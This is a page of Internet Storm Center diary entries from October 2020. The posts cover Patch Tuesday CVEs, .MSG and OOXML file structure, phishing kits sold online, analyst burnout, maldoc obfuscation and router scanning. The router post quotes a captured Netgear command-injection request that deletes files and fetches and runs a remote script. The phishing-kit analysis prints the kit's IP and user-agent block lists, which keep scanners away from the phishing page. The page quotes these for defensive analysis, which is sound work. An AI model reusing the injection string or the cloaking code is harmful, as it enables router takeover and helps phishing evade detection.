%%cve:2020-16951%% No No Less Likely Less Likely Critical 8.6 7.7
%%cve:2020-16952%% No No Less Likely Less Likely Critical 8.6 7.7
Microsoft Word Security Feature Bypass Vulnerability
%%cve:2020-16933%% No No Less Likely Less Likely Important 7.0 6.3
NetBT Information Disclosure Vulnerability
%%cve:2020-16897%% No No Less Likely Less Likely Important 5.5 5.0
Network Watcher Agent Virtual Machine Extension for Linux Elevation of Privilege Vulnerability
%%cve:2020-16995%% No No Less Likely Less Likely Important 7.8 7.0
October 2020 Adobe Flash Security Update
ADV200012 No No Less Likely Less Likely Critical    
PowerShellGet Module WDAC Security Feature Bypass Vulnerability
%%cve:2020-16886%% No No Less Likely Less Likely Important 5.3 4.8
Visual Studio Code Python Extension Remote Code Execution Vulnerability
%%cve:2020-16977%% No No Less Likely Less Likely Important 7.0 6.3
Win32k Elevation of Privilege Vulnerability
%%cve:2020-16907%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-16913%% No No More Likely More Likely Important 7.8 7.0
Windows - User Profile Service Elevation of Privilege Vulnerability
%%cve:2020-16940%% No No Less Likely Less Likely Important 7.8 7.0
Windows Application Compatibility Client Library Elevation of Privilege Vulnerability
%%cve:2020-16876%% No No Less Likely Less Likely Important 7.1 6.4
%%cve:2020-16920%% No No Less Likely Less Likely Important 7.8 7.0
Windows Backup Service Elevation of Privilege Vulnerability
%%cve:2020-16976%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16912%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16936%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16972%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16973%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16974%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16975%% No No Less Likely Less Likely Important 7.8 7.0
Windows COM Server Elevation of Privilege Vulnerability
%%cve:2020-16935%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-16916%% No No Less Likely Less Likely Important 7.8 7.0
Windows Camera Codec Pack Remote Code Execution Vulnerability
%%cve:2020-16967%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-16968%% No No Less Likely Less Likely Critical 7.8 7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-16877%% No No Less Likely Less Likely Important 7.1 6.4
Windows Enterprise App Management Service Information Disclosure Vulnerability
%%cve:2020-16919%% No No Less Likely Less Likely Important 5.5 5.0
Windows Error Reporting Elevation of Privilege Vulnerability
%%cve:2020-16905%% No No Less Likely Less Likely Important 6.8 6.1
%%cve:2020-16909%% Yes No Less Likely Less Likely Important 7.8 7.0
Windows Error Reporting Manager Elevation of Privilege Vulnerability
%%cve:2020-16895%% No No Less Likely Less Likely Important 7.8 7.0
Windows Event System Elevation of Privilege Vulnerability
%%cve:2020-16900%% No No Less Likely Less Likely Important 7.0 6.3
Windows GDI+ Information Disclosure Vulnerability
%%cve:2020-16914%% No No Less Likely Less Likely Important 5.5 5.0
Windows Hyper-V Denial of Service Vulnerability
%%cve:2020-1243%% No No Less Likely Less Likely Important 7.8 7.0
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2020-1047%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1080%% No No Less Likely Less Likely Important 8.8 7.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2020-16891%% No No Less Likely Less Likely Critical 8.8 7.9
Windows Image Elevation of Privilege Vulnerability
%%cve:2020-16892%% No No Less Likely Less Likely Important 7.8 7.0
Windows Installer Elevation of Privilege Vulnerability
%%cve:2020-16902%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-16890%% No No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-16938%% Yes No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-16901%% Yes No Less Likely Less Likely Important 5.0 4.5
Windows KernelStream Information Disclosure Vulnerability
%%cve:2020-16889%% No No Less Likely Less Likely Important 5.5 5.0
Windows NAT Remote Code Execution Vulnerability
%%cve:2020-16894%% No No Less Likely Less Likely Important 7.7 6.9
Windows Network Connections Service Elevation of Privilege Vulnerability
%%cve:2020-16887%% No No Less Likely Less Likely Important 7.8 7.0
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability
%%cve:2020-16927%% No No Less Likely Less Likely Important 7.5 6.7
Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability
%%cve:2020-16896%% No No More Likely More Likely Important 7.5 6.7
Windows Remote Desktop Service Denial of Service Vulnerability
%%cve:2020-16863%% No No Less Likely Less Likely Important 7.5 6.7
Windows Security Feature Bypass Vulnerability
%%cve:2020-16910%% No No Less Likely Less Likely Important 6.2 5.6
Windows Setup Elevation of Privilege Vulnerability
%%cve:2020-16908%% Yes No Less Likely Less Likely Important 7.8 7.0
Windows Spoofing Vulnerability
%%cve:2020-16922%% No No More Likely More Likely Important 5.3 4.8
Windows Storage Services Elevation of Privilege Vulnerability
%%cve:2020-0764%% No No Less Likely Less Likely Important 7.8 7.0
Windows Storage VSP Driver Elevation of Privilege Vulnerability
%%cve:2020-16885%% Yes No Less Likely Less Likely Important 7.8 7.2
Windows TCP/IP Denial of Service Vulnerability
%%cve:2020-16899%% No No More Likely More Likely Important 7.5 6.7
Windows TCP/IP Remote Code Execution Vulnerability
%%cve:2020-16898%% No No More Likely More Likely Critical 9.8 8.8
Windows Text Services Framework Information Disclosure Vulnerability
%%cve:2020-16921%% No No Less Likely Less Likely Important 5.5 5.0
Windows iSCSI Target Service Elevation of Privilege Vulnerability
%%cve:2020-16980%% No No Less Likely Less Likely Important 7.8 7.0

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2020-10-12

Nested .MSGs: Turtles All The Way Down

A reader had problems extracting the attachment inside an .MSG file, and asked me for help.

Let me start with a simple .MSG file with one attachment (the same I used in diary entry "Analyzing MSG Files With plugin_msg_summary").

__attach_version1.0_#00000000 is a storage (a storage in OLE files is like a folder: it can contain streams (comparable to files) and storages).

__attach_version1.0_ tells us this is the storage for an attachment, and 00000000 tells us it is the first attachment.

Inside that storage, you have different streams: __properties_version1.0 and __substg1.0_*

The 37 in __substg1.0_37* tells us these streams contain data/metadata of the attachment.

For example, 3701 is the "attachment data" (content) of the attachment, and 0102 stands for "binary data":

And as you can see, for example, 3707 is metadata of the attachment: the long filename of the attachment in UNICODE (001F).

The short filename is an 8.3 filename.

To summarize: in .MSG files, the data (content) and metadata of attachments are stored inside streams that are stored inside a storage (one per attachment).

Now, the reader that asked me for help, had this:

Lots of entries with 3701000D. We know already that 3701 is the "attachment data", but what is 000D (0102 is binary data)? 000D is a directory, a storage.

And __substg1.0_3701000D is a storage this time (it is followed by /...), not a stream.

What's happening here, is that the attachment is an .MSG file. So this is an .MSG file, that contains another .MSG file as attachment.

In that case, Outlook will not store the attached .MSG file as a binary blob (37010102) but as an .MSG file with all its storages and streams (3701000D). So the attached .MSG file is not stored as a single data stream, but is decomposed in  all its elements (storages and streams) like a "normal" .MSG file is.

The direct result of this, is that you have much more streams and storages inside the "root" .MSG file.

An a practical result, is that you can directly search inside the attached .MSG file, without having to use a second instance of oledump to parse it.

For example, I can search for the subject of the .MSG files like this:

Here I'm grepping for 0037 (the code for Subject). I could also have grepped for string "Subject", but then I would have more output: I would also have streams like "Subject (normalized)", and I wanted to avoid this for this example.

We can see 2 subjects:

  1. "Microsoft Outlook Test Message" is the Subject of the attached .MSG file (stream 13)
  2. "Testing" is the Subject of the "root" .MSG file (stream 71)

So if you are dealing with attached .MSG files, their content is not stored inside a single stream (37010102), but it is decomposed in storages and streams, that are stored under one storage (3701000D) per attached .MSG file.

And this concept is recursive: you can have .MSG files inside .MSG files inside .MSG files ... "Turtles all the way down" :-)

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-11

Analyzing MSG Files With plugin_msg_summary

I've written a couple of diary entries about analyzing .MSG files (Outlook messages) with my tool oledump.py, that resulted in a dedicated plugin: plugin_msg.

Due to research I did recently, I added a new framework for plugins to oledump, and this allowed me to create a new plugin (plugin_msg_summary) that presents a summary of an email (.msg file).

I show this new plugin in this video:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-10

Open Packaging Conventions

Office files like .docx, .xlsm, ... are Office Open XML (OOXML) files: a ZIP container containing XML files and possibly other file types.

OOXML files follow the Open Packaging Conventions (OPC) format.

OPC files contain a /[Content_Types].xml file (describing the MIME format of all parts of the OPC container) and a _rels/.rels file (documenting the relationships inside the OPC container).

Like this .xlsm file:

In my experience with OOXML files, /[Content_Types].xml is the first ZIP record, and _rels/.rels is the second ZIP record.

When an OOXML file has been modified with a ZIP utility, it's often the case that that order is no longer respected: files /[Content_Types].xml  and _rels/.rels  are no longer first and second (this has no impact on the parsing of these altered files by Office applications).

AFAIK, the OPC standard does not require these 2 files to be the first in the ZIP container.

Please post a comment if you know of OPC examples (there are other file formats than OOXML that are based on OPC) created by applications that do not put these 2 files first inside the ZIP container.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-09

Phishing kits as far as the eye can see

If you’ve never delved too deep into the topic of phishing kits, you might – quite reasonably – expect that they would be the sort of tools, which are traded almost exclusively on dark web marketplaces. This is however not the case – many phishing kits (or “scam pages” or “scamas” as they are called by their creators) are quite often offered fairly openly on the indexed part of the web as well, as are the corresponding “letters” (i.e. the e-mail templates), e-mail validity checkers and other related tools. You may take a look at what is out there yourself – simply search for “scam page” along with the name of your favorite large bank or major online service on Google…

Since I haven’t done so in a while, last weekend I decided to take a look at phishing kits that are available on the “surface” web – more specifically, at those, which have been published during this year. I thought it might be interesting to see what their prices were, which brands and services they “covered” the most and whether there would be any significant increase in the number of phishing kits on offer in the second and third quarter of the year (i.e. in relation to the Covid-19 situation).

The idea was to gather information on at least 100 different phishing kits, as although it would not be a large sample size by any means, it should be enough to give us at least some idea of how things stood. I started by looking at YouTube and planned to go through Google, GitHub and a few file upload and e-commerce sites afterwards. Since I have, however, managed find 104 kits for sale/free download from this year on YouTube alone, just using the first search term I tried, I decided to stop there.

Each of the phishing kits was presented in a standalone video showing its capabilities. Most of the videos had terms “undetected” and “clean” in their titles in an attempt to make the phishing kits look more desirable (and definitely not backdoored).

Some of the videos were offering e-mail templates, access to complex phishing platforms, or tutorials in addition to the scam pages themselves, either as part of a bundle with specific phishing kit or at a premium. Similar selection of additional tools and other materials was available on external e-commerce platforms, where some the kits shown off in the videos were sold.

Of the 104 kits, 18 were offered free of charge (and at least one of these was backdoored - this wasn't mentioned in the video description so it was probably intended as a surprise bonus feature). For 76 of them, price was available by e-mail/ICQ/Telegram/Facebook only and the 10 remaining ones ranged in price from $10 to $100.

The 86 “commercial” phishing kits were offered by 21 sellers, with the most prolific one of them being responsible for 22 different scam pages.

At all, the phishing kits “simulated” sites of 53 different services or brands, from Adobe to Zoom. You may take a look at all of the services and brands, which were “used” by at least two different phishing kits, in the following chart. It probably won’t come as a much of a surprise that PayPal and Office 365 were the two “covered” the most often, but some of the others (e.g. Free Fire) might be a bit unexpected.

It should be mentioned that although most global phishing statistics published for 2020 so far [1,2] don’t show any significant rise in the numbers of spam and phishing e-mails in the wild in relation to Covid-19, the frequency of publishing new phishing kits on “surface” web (or at least on YouTube) seems to have increased significantly from the second half of March onward.

Whether this increase is due to the Covid-19 situation or because YouTube managed to clear most of the phishing kit videos from the first quarter of this year is impossible to say with any certainty, though I tend to lean towards the former explanation being the more probable one.

In any case, as this short excursion to YouTube shows, even on the indexed part of the web there are phishing kits galore…and there is little reason to expect that it will be much different in the near future. Therefore, if you work in infosec in any organization, whose customers might be a good target for semi-targeted phishing, try looking for phishing kits spoofing your brand or service on Google from time to time – you might be surprised at what you find…

[1] https://docs.apwg.org/reports/apwg_trends_report_q2_2020.pdf
[2] https://securelist.com/spam-and-phishing-in-q2-2020/97987/

Jan Kopriva
Alef Nula


Published: 2020-10-07

Today, Nobody is Going to Attack You.

Chances are, nobody is going to bother attacking your network today. Even if you go home, leave the users to browse at will, and return tomorrow well-rested, your network and data will still be fine.

Wait? Really? Has Johannes finally lost it? Aren't you the one telling us that the "Survival time" of a network is in the range of minutes? How can you tell me we are not under attack? I just upgraded my SIEM license to deal with even more events.

This diary is a bit of a "mental health" post. If you have been around in this industry for a while, you probably have developed a bit a similar approach to security, or you would have burned out. We do have a skill shortage. And I love to teach more people about intrusion detection and web application security as they enter the field. But I think it is also essential to keep people in this field and not burn out by leaving them in never-ending crisis mode.

Let's look at some of our data to explain:

1 - Most attacks do not matter

The vast majority of attacks doesn't matter. Someone scanning you on port 23 using a list of well-known default passwords? If you are reading this post, "Mirai" should not be a problem for you. WordPress attacks hitting your webserver a few hundred times a day? Are you using WordPress? And even if you do: Do you have the plugin installed that the exploit is attacking?

Even better: Many of the attacks you are seeing will not work, even if you are vulnerable. For most Mirai style attacks hitting our honeypot, the malware they are attempting to download no longer exists. These "un-dead" botnets are not causing any damage anymore.

At the age of 14, my dog finally realized it is perfectly safe to sleep through the mail delivery. While the mail does trigger several indicators (fence gate opens, a person approaching house), and her trusted threat sharing group at the dog park did confirm these as indicators of an imminent intrusion, she has learned that the mail isn't a threat. sleeping dog

2 - Read "Security News" with caution.

At least in the US, it is election season. And many of you probably already turned out of the daily news shows. Just like "normal news" is often presented to entertain and not to inform, many security news outlets have the same problem. Vendors actually write much of the news you are seeing. We do get offers probably daily from vendors to provide us with "free" content.

In some cases, they even offer to pay (in case you wonder: $1Million in cash... small unmarked bills... left at my front door... may get you considered). Luckily, we do have a team of trusted volunteer that will write about issues that they see in their existing networks. The downside is that you may often not see our content featured on larger network security websites.

Don't get me wrong: You should stay up to date, and you should follow security news. But if you read about a new attack that is being discussed, ask yourself these questions:

  • Is this new? Many attacks are being re-discovered. For example, about once every six months, someone will make big news that you can exfiltrate data via DNS. The same is true for other attacks. Iran was reported to have used the Citrix vulnerability to breach corporations in February and then again in September. The attention span of the security community is about six months. Marketers have figured this out and will re-release a story every six months.
  • Is it relevant? Did you realize someone can watch your keystrokes by hovering a drone outside your window? Or by observing how fast your fan spins? Should you worry? Probably not. If a drone starts hovering outside my window, I am probably going to stop typing. There are many "neat" exploits like this. They make for attention-grabbing headlines and capture an audience during a talk but provide little actionable information.
  • Is it relevant to me? A new Mirai variant? Exposed RDP servers are a huge issue these days. But are you using RDP? Focus on what is relevant to you.
  • Trust but verify. Sadly, a lot of security news is outright wrong. If an article passed all the tests about: Test it yourself if you can and test mitigations. Sometimes these inaccuracies are just a matter of you running a different configuration then the author.

3 - Security Tools are There to Confuse You

No security vendor will survive if their tool doesn't produce alerts. As a result, they tend to create more alerts than you need. The early Windows security tools I played with (BlackICE and ZoneAlarm) displayed a popup message each time they blocked a packet. Of course, they quickly stopped doing that as bots/worms became more common. Take firewall logs as a more generic example: An inbound firewall log entry indicates that the firewall took care of the attack. Stop looking at them. Remove that number from your dashboard. (yes... outbound may be a different story). Most out-of-the-box dashboards are useless and only designed to show off the tool ("Oohh... now we can do donut graphs") and not designed to provide actionable data.

In my opinion, an ideal dashboard is "empty" and only comes to live if something actionable happens.

So how do I "Survive" in Cyber?

It is ok to take a break. Go for a walk. Pet the dog (leave the cat alone! she likes it that way). Take some time to experiment and "play" with the tools. Try out something different (e.g. a new dashboard). And most of all: Prioritize.

That is probably the main mistake a lot of people make. It is not your job to prevent every breach (if it is: sorry. You have an impossible job). Your #1 job is to stay in business (meaning: keep your job). 

Of course, how to prioritize depends on your organization. At this point, I guess for most organizations; ransomware is the #1 threat. How does ransomware get into your network? The most damaging ransomware is often deployed via weakly protected RDP servers and other "choke points" (e.g., VPN vulnerabilities). This fact isn't "news." The NSA released a document with details just about a year ago [1]. But since our six months news cycle is up again, you will see this "news" currently. 

Scanning and securing/monitoring these entry points isn't easy, but not the most challenging part.

I will leave the other step up to the reader as an exercise. But something like credential management and endpoint protection probably comes next. Do not worry too much about gaps in specific tool's capabilities. Is it manageable? Does it cooperate with what you have? I like the idea of "buying an API," not a tool. In the end, a tool is useful if it provides meaningful protection against a relevant threat at an acceptable cost. Tools are never perfect.

So relax. Your network will be fine. Most alerts you are seeing are harmless—safe your energy for the real incident that will come eventually but not today.

[1] https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/1982939/nsa-cybersecurity-advisory-malicious-cyber-actors-leveraging-vpn-vulnerabilitie/

[2] https://healthitsecurity.com/news/3-key-entry-points-for-leading-ransomware-hacking-groups

Disclaimer: Dog paragraph and picture added for social media optimization.

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2020-10-05

Obfuscation and Repetition

The obfuscated payload of a maldoc submitted by a reader can be quickly extracted with the "strings method" I explained in diary entry "Quickie: String Analysis is Still Useful".

This is a very long string (more than 1000 characters) and is most likely the payload we are looking for.
It looks like this is just a sequence of repeating strings, but if you take a close look, you’ll see that there are characters between the repeating string hui12t7gGG7&^6272 gasg671. I have highlighted this repeating string in red here:

You can see individual letters between the repeating string: p, o, w, e, r, …
I’m sure you can now guess where this is going: powershell …
This is an obfuscation method I’ve seen several times: obfuscate the payload by inserting a long string of characters between each character of the payload.
Here is an example.
Say that our payload is "powershell payload". We obfuscate it by inserting character . between each character of the payload, like this:

"p.o.w.e.r.s.h.e.l.l. .p.a.y.l.o.a.d"

In this example, the payload is still easily recognizable.
But what if we use "Internet_Storm_Center" as repeating string? Then we get this:

"pInternet_Storm_CenteroInternet_Storm_CenterwInternet_Storm_CentereInternet_Storm_CenterrInternet_Storm_CentersInternet_Storm_CenterhInternet_Storm_CentereInternet_Storm_CenterlInternet_Storm_CenterlInternet_Storm_Center Internet_Storm_CenterpInternet_Storm_CenteraInternet_Storm_CenteryInternet_Storm_CenterlInternet_Storm_CenteroInternet_Storm_CenteraInternet_Storm_Centerd"

And in this example, the payload is not so easy to recognize.
The trick to decode the obfuscated payload, is to find the repeating string, and remove it. As this can be sometimes tricky, I wrote a small program that automates this task: deobfuscate-repetitions.py.

In this example, we can see that it finds several repeating strings for our sample, but that there’s one repeating string that results in a decoded payload starting with powersheLL:

We can then use option -f to search for string "power", and have the complete payload decoded:

This can then be decoded with base64dump.py:


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-04

Nmap 7.90 Released

Nmap 7.90 is released, right after the release of Npcap 1.00, .

2 elements from the announcement I want to highlight:

With the production-ready and highly performant Npcap 1.00 driver included, we can finally recommend Nmap on Windows as a true peer to the traditional Linux builds.
We also did some long-needed license cleanup and gave the license a name (Nmap Public Source License) to avoid the previous confusion of Nmap being under "GPLv2 with various clarifications and exceptions". The NPSL is still based on the GPLv2, but brings in terms from some other popular open source licenses.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2020-10-03

Scanning for SOHO Routers

In the past 30 days lots of scanning activity looking for small office and home office (SOHO) routers targeting Netgear.

20201002-165049: data 'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n'

Sampling multiple Mozi.a and Mozi.m files, analysis of each samples indicates if successful, it would attempt to connect the router to the Mirai botnet.

However, one of the file samples (Astra.mpsl) recovered was never submitted to Virustotal or any other sandbox and remained unidentified. Based on the information contained in the file, it is targeting the Huawei Home Gateway. One of the tell tale in the binary is the following string: 'Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS' which likely indicate it would connect the router to the Hoaxcalls Botnet.

This is part of the content of Astra.mpsl which shows it the targeted router is Huawei Home Gateway.

Suspicious Files and Scripts: Mozi.a/m (Mirai Botnet)


Suspicious Files and Scripts: (Hoaxcalls Botnet)
98eaa9a34533606924911ef15162102f  Astra.mpsl
cf6b4ccfc0414297a8a31c9349b6c3c246716829d4a15f3a2d3deae10bc2efde  Astra.mpsl

Indicators of Compromised


SOHO Active Scanners

[1] https://isc.sans.edu/forums/diary/Mirai+Botnet+Activity/26234/
[2] https://security.radware.com/ddos-threats-attacks/threat-advisories-attack-reports/hoaxcalls-evolution/
[3] https://consumer.huawei.com/en/routers/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2020-10-02

Analysis of a Phishing Kit

Sometimes, attackers make mistakes and allow security researchers to access interesting resources. This time, it's another phishing kit that was left in the wild on the compromised server.

The file is called '2019<redacted>.zip' (SHA256:269ab3970ef8997a61b1b14eebe5a2beb1348b2dcc5358ccd4314ad19a41daf5):

$ unzip -t 2019<redacted>.zip
Archive:  2019<redacted>.zip
    testing: home/blocker.php         OK
    testing: home/home/               OK
    testing: home/home/block.php      OK
    testing: home/home/confirm.php    OK
    testing: home/home/confirm1.php   OK
    testing: home/home/em1.php        OK
    testing: home/home/em2.php        OK
    testing: home/home/email.php      OK
    testing: home/home/email2.php     OK
    testing: home/home/images/        OK
    testing: home/home/images/confirm.PNG   OK
    testing: home/home/images/down.PNG   OK
    testing: home/home/images/favicon.ico   OK
    testing: home/home/images/footer.PNG   OK
    testing: home/home/images/footers.PNG   OK
    testing: home/home/images/head.PNG   OK
    testing: home/home/images/heads.PNG   OK
    testing: home/home/images/headsd.PNG   OK
    testing: home/home/images/line.png   OK
    testing: home/home/images/lo.PNG   OK
    testing: home/home/images/logins.PNG   OK
    testing: home/home/images/main.PNG   OK
    testing: home/home/images/maind.PNG   OK
    testing: home/home/images/mains.PNG   OK
    testing: home/home/images/mainss.PNG   OK
    testing: home/home/images/mainsx.PNG   OK
    testing: home/home/images/sign.PNG   OK
    testing: home/home/img/           OK
    testing: home/home/img/hea2.js    OK
    testing: home/home/index.php      OK
    testing: home/home/index2.php     OK
    testing: home/home/login.php      OK
    testing: home/home/mm.php         OK
    testing: home/home/mm1.php        OK
    testing: home/home/rev.php        OK
    testing: home/home/rev1.php       OK
    testing: home/index.php           OK
No errors detected in compressed data of 2019<redacted>.zip.

The landing page is really well designed, except that it's still delivered over HTTP and should ring a bell to the visitor:

Let's see what's behind this page!

header("location: home?cmd=www.ssaonline-account-service.com-update_submit&id=$praga$praga&session=$praga$praga");

The 'blocker.php' page tests the visitor and denied or grant access to the landing page based on:

  • The IP address
  • Interesting keywords in the User-Agent
  • The domain name
$bannedIP = array("^66.102.*.*", "^38.100.*.*",  "^38.105.*.*", "^74.125.*.*",  "^66.150.14.*",  "^5.254.100.*", "^69.63.189.*", "^5.254.66.*", "^38.100.*.*", "^184.173.*.*",
 "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^95.85.1.*", "^88.198.0.*", "^104.132.20.*", "^216.239.32.*", "^81.161.59.*", "^74.125.*.*", "^207.126.144.*",
 "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^67.215.90.*", "^67.215.95.*", "^179.43.128.*", "^194.72.238.*",
 "^62.116.207.*", "^209.85.128.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*",
 "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^91.103.*.*", "^91.103.64.*", "^212.29.224.*", "^54.183.40.*", "^212.143.*.*", "^212.150.*.*",
 "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^209.85.255.*", "^64.27.2.*", "^67.15.*.*",
 "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^149.20.51.*", "^149.20.69.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*",
 "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*",
 "^168.188.*.*", "^66.207.120.*", "^167.24.*.*",  "^192.118.48.*", "^192.118.48.*", "^66.23.234.*", "^198.186.190.*", "^198.186.191.*", "^198.186.192.*", "^198.186.193.*", "^198.186.194.*",  "^12.148.209.*", "^2.19.131.*", "^193.220.178.*", "",
 "", "", "", "", "", "", "", "",
 "", "", "", "", "", "", "", "", "",
 "", "", "", "", "", "", "", "", "",
 "", "", "", "", "", "", "", "72.12.194.*", "", "", "",
 "", "^149.20.*.*", "^69.171.*.*", "^209.85.*.*", "^66.135.*.*", "^66.16.*.*", "^66.179.*.*", "^66.194.*.*", "^80.178.*.*", "^79.182.*.*",
 "^87.69.*.*", "^87.70.*.*", "^149.20.*.*", "^66.135.*.*", "^174.122.*.*", "^108.62.*.*", "^66.150.*.*", "^115.160.*.*", "^79.182.*.*", "^210.247.*.*",
 "^66.150.*.*", "^66.249.*.*", "^66.226.*.*", "^66.227.16.*", "^66.211.*.*", "^64.71.*.*", "^195.214.*.*", "^84.110.*.*", "^178.25.*.*", "^74.125.*.*",
 "^2.19.*.*", "^209.59.166.*", "^67.215.92.*", "^204.15.*.*", "^54.183.*.*", "^54.184.*.*", "^104.132.*.*", "^81.161.*.*", "^190.85.*.*", "^64.106.213.*");

$badAgents = array('Opera/9.80 (Windows NT 6.1; Win64; x64) Presto/2.12.388 Version/12.17','Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.16',
'Googlebot/2.1 ( http://www.googlebot.com/bot.html)','Opera/9.80 (Windows NT 6.1; WOW64; U; es-ES) Presto/2.10.289 Version/12.02','Java/1.7.0_09',
'Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)','Mechanize/2.6.0 Ruby/1.9.3p484 (http://github.com/sparklemotion/mechanize/)',
'ec2-54-216-218-134.eu-west-1.compute.amazonaws.com','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/67.0.3372.0 Safari/537.36',
'Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1','200please','360spider','3d-ftp','3mir','80legs',
'_sitemapper','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/69.0.3497.100 Safari/537.36','aboundex','accelo','acme.spider','acoonbot','add catalog','adwords','aesop_com_spiderman','affinity','aghaven','ahref','aihitbot',
'aipbot','[Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0)]','almaden','alphaserver','HeadlessChrome','analyticsseo','anonymouse','anyevent-http','anzwerscrawl','appengine-google',
'appie','apptusbot','artviper','ashes','asia','athens','attache','atwatch-bot','autoemailspider','autohttp','automattic analytics crawler','b55',
'backlink','bad-neighborhood','baidu','bandit','bazqux','bender','big brother','bigfoot','bitvo','black widow','blackwidow','blekko','blogbot','bnf.fr',
'casper bot','cazoodle','ccbot','centiverse','ceptro','cha0s','cherry','chilkat','chimp','chinaclaw','cloakbrowser','cmradar','cmsworldmap',
'craftbot','crawler','crawler4j','crawlfire','crescent','crowsnest','crystalsemanticsbot','curious george','curl/','custo','cyberpatrol','cybeye.com',
'cydral','datacha','dataprovider','davclnt','daylife','dcpbot','debate','deepnet','desktopsmiley','dex bot','diavola','digext','digger','digout4uagent',
'diibot','disco','discoverybot','dispatcher','dittospyder','dkimrepbot','dot tk','dotbot','dotcomdotnet','dotnetdotcom','doubanbot','download','dragostea',
'ds_juicyaccess','dsarobot','dts agent','dtsearchspider','dumbot','eak01ag9','easouspider','ecatch','ecollector','ecxi','edition campaign','edition yx',
'eidetica','email siphon','emailcollector','emailex','emailsearch','emailsiphon','embedly','enabot','encyclopedia','enhancer','envolk','eurobot','exabot',
'explorer','extractor','eyenetie','ezoom','ezooms','facebookscraper','fairshare','fantombrowser','fast crawler','fast enterprise crawler','fastbot crawler',
'fastlwspider','fastseek','feed seeker bot','feedfetcher','fetch','fhscan','fibgen','filterdb.iss.net','finder','findlinks','firefly','firefox addon',
'flashget','flightdeckreportsbot','flipboard','floodgate','flunky','foxy/1','free thumbnails','froogle','fuck','gaisbot','genieo','getcsv','getlinkinfo','getright','gets','getty','geturl11','getweb!',
'heartrails_capture','heritrix','hmview','holmes','htmlparser','http fetcher','http://lycosa.se','httpfetcher','httplib','httpunit',
'httrack','huawei','huaweisymantecspider','humanlinks','icafe','ichiro','id-search','idbot','image fetcher','imagewalker','inagist','incywincy','indocom',
'indy library','influencebot','infonavirobot','infoseek','inktomi','inspyder-crawler','intelium','intelliseek','interget','internet explorer','internetseer',
'intraformant','ip-web-crawler.com','ips-agent','irc search','irgrabber','irlbot','isc systems','isense bot','isset','ixebot','jadynavebot','jakarta','java/',
'jeeves','jennybot','jetcar','jike','joc web spider','jomjaibot','js-kit','k2spider','kangen','kenjin','keywenbot','keyword','kimengi','kkman','kmccrew',
'linkwalker','liperhey','lipperhey','lnspiderguy','loader','looksmart','lushbot','lwp','lycos','magnet','magpie','mahiti','mahonie','mail.ru','mama casper',
'mama cyber','marketdefenderbot','markwatch','mattters','maxpointcrawler','megaupload','mentormate','metadatalabs','mia bot','microsoft url',
'morfeus','mot-v980','movable','mozillaxyz','mrchrome','mrie8pack','mrsputnik','msfrontpage','msie 0.','msie 2.','msie 3.',
'msie 4.','msie 5.','msie 999.1','msiecrawler','multicrawler','nameprotect','nationaldirectory','navigator','navroad','nearsite','neofonie','nessus',
